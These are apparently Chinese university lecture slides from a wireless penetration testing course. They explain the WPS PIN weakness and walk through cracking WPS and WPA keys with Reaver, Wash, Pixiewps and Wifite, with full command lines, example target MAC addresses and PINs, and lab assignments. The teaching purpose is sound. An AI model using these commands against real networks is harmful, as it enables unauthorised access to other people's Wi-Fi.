无线网络渗透测试技术 课件 ch9-WPS加密模式

WPS加密模式

胡光武WPS加密模式简介什么是WPS加密模式主要工作原理主要优缺点在无线路由器中配置WPS加密模式移动设备（手机）使用WPS连接AP破解WPS加密Reaver,Wifite,FernWifiCracker工具主要内容WPS加密简介WPS加密方式WPS:WiFiProtectedSetup。WiFi联盟推出的全新Wifi安全防护设定标准，可以省去其他加密方式下许多复杂的配置步骤，使AP与客户端设备快速安全地连接。WPS的工作原理用户或新设备加入时，在配置过程中仅输入PIN码或者按PBC/wps按钮，WPS启动设备与注册表之间的信息交换进程，并由注册表发放授权设备，加入WLAN的网络证书主要通过EAP（ExtendedAuthenticationProtocol)扩展的认证协议实现信息安全交换，无需用户干预，就可以直接连接WPS的漏洞WPS的PIN码仅由8位数字构成其中前7位为密码数字，第8位是检验位，可由前7位推导验证明先检测前4位，如果一致则验证后3位安全问题：前4位推算只需要10000次尝试，每次最快2s/pin，即20000s就可以推算前4位后3位推算只需要1000次，需2000s最后1位可以由7位推算WPS的优缺点优点自动配置SSID及密钥自动连接通过EAP进行交换信息,比较安全支持windowsvista以上操作系统缺点不支持Ad-hoc网络所有设备必须支持WPSWPS设备名称是16进制随机产生，所以很难在wps网络中添加一个非WPS客户端并非所有厂商设备支持wpsWPS加密模式简介什么是WPS加密模式主要工作原理主要优缺点在无线路由器中配置WPS加密模式移动设备（手机）使用WPS连接AP破解WPS加密Reaver,Wifite,FernWifiCracker工具主要内容在无线路由器中配置WPS使用pbc码：pressbutton

code使用客户端的pin码使用AP端的pin码PBC码接入Pin码接入客户端pin码接入Ap端pin码接入现在，轮到你动手做实验了Doitbyyourself实验指导书：wps-APpin码接入要求：将主要实验步骤截图，将学号作水印，放到一个word文档里，统一进行检查WPS加密模式简介什么是WPS加密模式主要工作原理主要优缺点在无线路由器中配置WPS加密模式移动设备（手机）使用WPS连接AP破解WPS加密Reaver,Wifite,FernWifiCracker工具主要内容Reaver破解工具语法：reaver–i<interface>-b<apbssid>-p[pincode]–vv参数：-i:指定接口-b指定APMAC-p指定pin码-c信道-eessid-q显示重要信息-vv显示更多详细信息Reaver破解工具应用举例：给定pin码破解Wpa密钥reaver–iwlan0mon–b8c:21:0a:44:09:f8–p04588306无pin码暴力破解wpa密钥reaver–iwlan0mon–b8c:21:0a:44:09:f8–vv具体步骤：1.先使用wash工具察看启用wps的APwash-iwlan0mon2.使用reaver工具察看是否具有芯片漏洞pixiewps是一个wps离线攻击工具，利用了芯片上的算法漏洞，成功率不是很高。reaver-iwlan0mon-b<ap-mac>-c<channel>-K<n>-vv-b:ap的MAC-c:ap的信息-K:使用wpspixis攻击次数-vv显示详细信息发现目标AP上存在芯片漏洞,秒破wps密码reaver-iwlan0mon-bA4:29:40:68:E0:12-c4-p68731069-vv使用该wps密码，reaver进行破解秒破WPA密码如果不存在wpspixes漏洞，只能采用reaver进行暴力破解现在，轮到你动手做实验了Doitbyyourself实验指导书：使用reaver进行wps破解要求：将主要实验步骤截图，放到一个word文档里，统一进行检查Wifite破解工具语法：wifite–i<interface>-b<apbssid>-p[pincode]–vv参数：-i:指定接口-b指定APMAC-p指定pin码-c信道-eessid-pps指定每秒注入的包数-wps仅扫描wps加密的网络现在